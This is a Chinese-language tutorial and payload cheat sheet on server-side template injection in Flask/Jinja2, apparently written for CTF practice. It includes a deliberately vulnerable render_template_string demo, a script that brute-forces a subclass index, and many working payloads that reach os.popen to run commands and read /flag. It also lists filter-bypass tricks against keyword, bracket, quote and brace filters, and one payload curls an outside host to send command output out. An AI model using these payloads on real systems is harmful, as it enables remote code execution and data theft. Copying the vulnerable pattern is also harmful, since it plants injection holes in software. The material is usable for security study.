SSTI注入
ssti漏洞成因
ssti服务端模板注入,ssti主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。
- 何为模板引擎?
模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。但是往往新的开发都会导致一些安全问题,虽然模板引擎会提供沙箱机制,但同样存在沙箱逃逸技术来绕过。
通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将塞进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。
1、后端渲染:浏览器会直接接收到经过服务器计算之后的呈现给用户的最终的HTML字符串,计算就是服务器后端经过解析服务器端的模板来完成的,后端渲染的好处是对前端浏览器的压力较小,主要任务在服务器端就已经完成。
2、前端渲染:前端渲染相反,是浏览器从服务器得到信息,可能是json等数据包封装的数据,也可能是html代码,他都是由浏览器前端来解析渲染成html的人们可视化的代码而呈现在用户面前,好处是对于服务器后端压力较小,主要渲染在用户的客户端完成。
举例:
<html>
<div>{$what}</div>
</html>
此时想要呈现在用户面前的是数据的详细名字,但是{$what}
并不知道具体的数据,因此此时需要用url或者cookie包含的信息来渲染到what的变量里,最终呈现在前端的结果:
<html>
<div>d3f4u1t</div>
</html>
flask
flask说白了就是基于python的一种模板,一种轻量级的web框架
补充一下python Flask库的基本知识:
@app.route('/')
使用route()装饰器告诉Flask什么样的URL能触发我们的函数.route()装饰器把一个函数绑定到对应的URL上,这句话相当于路由,一个路由跟随一个函数,如:
@app.route('/')
def test()"
return 123
可以根据需要设置不同的路径,以达到访问不同路径触发不同函数的效果
此外还可以设置动态网址,
from flask import Flask
app=Flask(__name__)
@app.route("/test/<username>")
def test(username):
return "用户名:%s"%username
if __name__=='__main__':
app.run(host='0.0.0.0',port=5000,debug=False)
如下:
当.py文件被直接运行时,if __name__=='__main__'
之下的代码块将被运行;当.py文件以模块形式被导入时,if __name__=='__main__'
之下的代码块不被运行。如果你经常以cmd方式运行自己写的python小脚本,那么不需要这个东西,但是如果需要做一个稍微大一点的python开发,写if __name__=='__main__'
是一个良好的习惯,大一点的python脚本要分开几个文件来写,一个文件要使用另一个文件,也就是模块,此时这个if就会起到作用不会运行而是类似于文件包含来使用。
可以使用 render_template() 方法来渲染模板。需要做的就是将模板名和想作为关键字的参数传入模板的变量。
例:
from flask import render_template
@app.route('/hello/')
@app.route('/hello/<name>')
def hello(name=None):
return render_template('hello.html', name=name)
render_template函数渲染的是templates文件夹中的模板,所谓模板是我们自己写的html,里面的参数需要我们根据每个用户需求传入动态变量。
结构如下:
├── app.py
├── static
│ └── style.css
└── templates
└── index.html
写一个index.html文件到templates文件夹
<html>
<head>
<title>{{title}} - d3f4u1t</title>
</head>
<body>
<h1>Hello, {{user.name}}!</h1>
</body>
</html>
user及title是需要渲染的参数
在app.py中进行渲染:
@app.route('/')
@app.route('/index')#我们访问/或者/index都会跳转
def index():
user = {'name': 'test1'}#传入一个字典数组
return render_template("index.html",title='Home',user=user)
效果:
这样就完成了一次模板的渲染
SSTI分析
先上代码:
from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string
app = Flask(__name__)
@app.route('/test',methods=['GET', 'POST'])
def test():
template = '''
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
''' %(request.url)
return render_template_string(template)
if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000,debug=True)
先说下render_template_string和render_template的区别:
- render_template()函数渲染一个指定的文件 , 这个指定的文件其实就是模板
- render_template_string()函数用来渲染一个字符串
这里的request.url可控,同时引擎渲染的是字符串,因此就可以构造python的调用链来实现攻击
首先我们知道在flask框架中{{}}是会执行代码的
在python中,object类是Python中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承object类。
打开cmd运行python环境,查看空字符的所属的类:
返回了<class ‘str’>,对于一个空字符串他已经打印了str类型,在python中,每个类都有一个bases属性,列出其基类。
可见已经找到了他的基类object,而我们想要寻找object类的不仅仅只有bases,同样可以使用mro,mro给出了method resolution order,即解析方法调用的顺序,如下:
展现了方法的调用顺序
正是由于这些但不仅限于这些方法,我们才有了各种沙箱逃逸的姿势。
在flask ssti中poc中很大一部分是从object类中寻找我们可利用的类的方法。接下来增加代码。接下来使用subclasses,subclasses() 这个方法,这个方法返回的是这个类的子类的集合,也就是object类的子类的集合。
然后需要在子类中找到合适的类,再从合适的类中寻找需要的方法。通常会用到<class ‘os._wrap_close’>类
通常子类的数量很多,可以用以下的脚本来进行每局直到匹配到需要的类
import requests
from tqdm import tqdm
for i in tqdm(range(233)):
url = 'http://demourl/?parameter={{%22%22.__class__.__bases__[0].__subclasses__()['+str(i)+']}}'
r = requests.get(url=url).text
if('os._wrap_close' in r):
print(i)
以该demo为例:
import requests
from tqdm import tqdm
for i in tqdm(range(233)):
url = 'http://127.0.0.1:5000/test?{{%22%22.__class__.__bases__[0].__subclasses__()['+str(i)+']}}'
r = requests.get(url=url).text
if('os._wrap_close' in r):
print(i,end='\n')
break
显示是第134个(因为序号0算第一个)
这个时候再利用.init.globals来找os类下的,init初始化类,然后globals全局来查找所有的方法及变量及参数。
http://127.0.0.1:5000/test?{{"".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__}}
这里找到popen方法,相当于os.open,然后使用read()从该管道文件对象中一次性读取所有命令执行后的输出结果并返回为字符串。
http://127.0.0.1:5000/test?{{"".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('whoami').read()}}
实战中SSTI的出现并不多,当然在CTF中较常出现,因此在理解了SSTI的原理后,下一步应该积累更多的过滤技巧
如:
1.过滤[]等括号
使用gititem绕过。如原poc {{“”.class.bases[0]}}
绕过后{{“”.class.bases.getitem(0)}}
2.过滤了subclasses,拼凑法
原poc{{“”.class.bases[0].subclasses()}}
绕过 {{“”.class.bases[0]‘subcla’+'sses’}}
3.过滤class
使用session
poc {{session[‘cla’+'ss’].bases[0].bases[0].bases[0].bases[0].subclasses()[118]}}
多个bases[0]是因为一直在向上找object类。使用mro就会很方便
{{session['__cla'+'ss__'].__mro__[12]}}
或者
request['__cl'+'ass__'].__mro__[12]}}
4.timeit姿势
import timeit
timeit.timeit("__import__('os').system('whoami')",number=1)
import platform
print platform.popen('dir').read()
还有以下的:
过滤了点
jinja2中除了Python中靠点获取属性,还可以用中括号,也即:
''.__class__ = ''['__class__']
除此之外,如果连中括号也过滤了的话,还有一个|attr
的过滤器,过滤器可以与Linux中管道符|
进行类比,也即用前面的(输出)作为后面操作的对象
''.__class__ = ''|attr('__class__')
过滤了中括号
过滤了中括号的情况下,除了可以用上文说到的attr过滤器,还可以使用魔法方法__getattribute__
来获取属性,__getitem__
来获取字典中的键值
''.__class__ = ''.__getattribute__('__class__')
url_for.__globals__['__builtins__'] = url_for.__globals__.__getitem__('__builtins__') #__globals__返回的是字典, 另外__builtins__也是字典
url_for
是Flask中一个特殊的方法,在模板注入中可用于命令执行:
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
#类似的还有
get_flashed_messages.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")
lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")
#另外还有,lipsum.__globals__含有os模块:
{{lipsum.__globals__['os'].popen('ls').read()}}
{{get_flashed_messages.__globals__['os'].popen('dir').read()}}#自己发现这两个也有
{{url_for.__globals__['os'].popen('dir').read()}}
config #{{config}}所有设置,也可以用于获得其他东西
#如下
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}
{{ config.__class__.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}}
#实际上,对于任何.__init__不带wrapper的都可以调用到__globals__,而在flask中,未定义的也不带,所以有如下payload
foobar.__class__.__init__.__globals__['__builtins__'] #这里面有个opne函数,open("filename").read可以直接读取文件
#foobar.__class__.__init__显示的是:<function Undefined.__init__ at 0x03275658>
对于字典,我们还有其他的一些方法
url_for.__globals__.pop('__builtins__')#删除某个键值,返回值是改键值,不过不建议轻易使用,因为可能删除掉重要的东西
url_for.__globals__.get('__builtins__')#得到某个键值,这个好用
url_for.__globals__.setdefault('__builtins__')#和get类似
后来发现居然忽视了Python可以直接用点操作符
{{url_for.__globals__.__builtins__}}
而过滤了中括号最大的影响,实际是列表取值,还好列表也可以使用__getitem__
''.__class__.__mro__[-1] = ''.__class__.__mro__.__getitem__(-1)
过滤了关键字
对于模板注入,比较有效的方法就是禁止掉payload中的关键字(如class、init等),那么,对于此,我们要怎么绕过呢
1.拼接
''.__class__ = ''['__cla' + 'ss__']
#或者使用过滤器 ('__clas','s__')|join
其实并不需要加号
''.__class__ = ''['__cla''ss__']
2.还可以使用~
进行拼接
''.__class__ = ''['__cla'~'ss__']
{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}
3.转置
''.__class__ = ''['__ssalc__'[::-1]]
#或者使用过滤器 "__ssalc__"|reverse
4.利用str内置方法
''.__class__ = ""['__cTass__'.replace("T","l")] =
''['X19jbGFzc19f'.decode('base64')] = #不知道为什么我这里说'str object' has no attribute 'decode' 原理上讲应该可以(后来发现好是python3的原因)
''['__CLASS__'.lower()]
#字符串的替换,还可以使用过滤器 "__claee__"|replace("ee","ss")
5.编码绕过
可以利用Python的字符串格式化
''.__class__ = ''["{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)]
#或者使用过滤器 ""["%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)]
6.还可以利用十六进制的字符绕过
''.__class__ = ''["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]
还可以利用chr函数进行转换,但是我们先要找到chr函数
{% set chr=url_for.__globals__['__builtins__'].chr %} #{%set chr = x.__init__.__globals__['__builtins__'].chr%}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}
7.使用request
request #request.__init__.__globals__['__builtins__']
request.args.x1 #get传参
request.values.x1 #所有参数
request.cookies #cookies参数
request.headers #请求头参数
request.form.x1 #post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data #post传参 (Content-Type:a/b)
request.json #post传json (Content-Type: application/json)
payload:
{{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
#然后首部设置Cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()
{{""[request["args"]["class"]][request["args"]["mro"]][1][request["args"]["subclass"]]()[286][request["args"]["init"]][request["args"]["globals"]]["os"]["popen"]("ls /")["read"]()}}
#post或者get传参 class=__class__&mro=__mro__&subclass=__subclasses__&init=__init__&globals=__globals__ (适用于过滤下划线)
过滤了单双引号
{{config.__class__.__init__.__globals__[request.args.os].popen(request.args.command).read()}}&os=os&command=cat /flag
还可以利用上面用的chr()方法
{%set chr = x.__init__.__globals__.get(__builtins__).chr%}
{{x.__init__.__globals__[chr(111)%2bchr(115)][chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(108)%2bchr(115)).read()}}#__globals__['os']['popen']('ls').read()
过滤了双花括号
双花括号,即:\{\{
或者 \}\}
{%print(x|attr(request.cookies.init)|attr(request.cookies.globals)|attr(request.cookie.getitem)|attr(request.cookies.builtins)|attr(request.cookies.getitem)(request.cookies.eval)(request.cookies.command))%}
#cookie: init=__init__;globals=__globals__;getitem=__getitem__;builtins=__builtins__;eval=eval;command=__import__("os").popen("cat /flag").read()
上面的意思即:
__init__ -> __globals__ -> __getitem__ -> __builtins__ -> __getitem__(eval) -> eval(...)
还可以
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=ls /').read()=='p' %}1{% endif %} #python2 没测试过
构造字符
有时候过滤特别严格得时候,我们就需要自己想法来构造字符串
过滤器 ()|select|string
()|select|string`得到的结果是: `<generator object select_or_reject at 0x十六进制数字>
可以看到有下划线什么的,然后我们就可以用()|select|string[24]
等来取字符,其实foobar|select|string
也是一样的
{{(()|select|string)[24]~
(()|select|string)[24]~
(()|select|string)[15]~
(()|select|string)[20]~
(()|select|string)[6]~
(()|select|string)[18]~
(()|select|string)[18]~
(()|select|string)[24]~
(()|select|string)[24]}} = "__classs__"
如果过滤了中括号,还可以使用foobar|select|string|list
转换为列表后,使用pop
或者__getitem__
来取值
dict(clas=a,s=b)|join
使用dict(cla=a,s=b)|join
后,得到的是字符串”class”,可以直接看看下面的payload
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}#("_","_","init","_","_")|join() 实际上使用可以不用join后面的括号
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
dict(e=a)|join|count
当过滤数字的时候,我们可以用这种方法得到数字
dict(e=a)|join|count #1
dict(ee=a)|join|count #2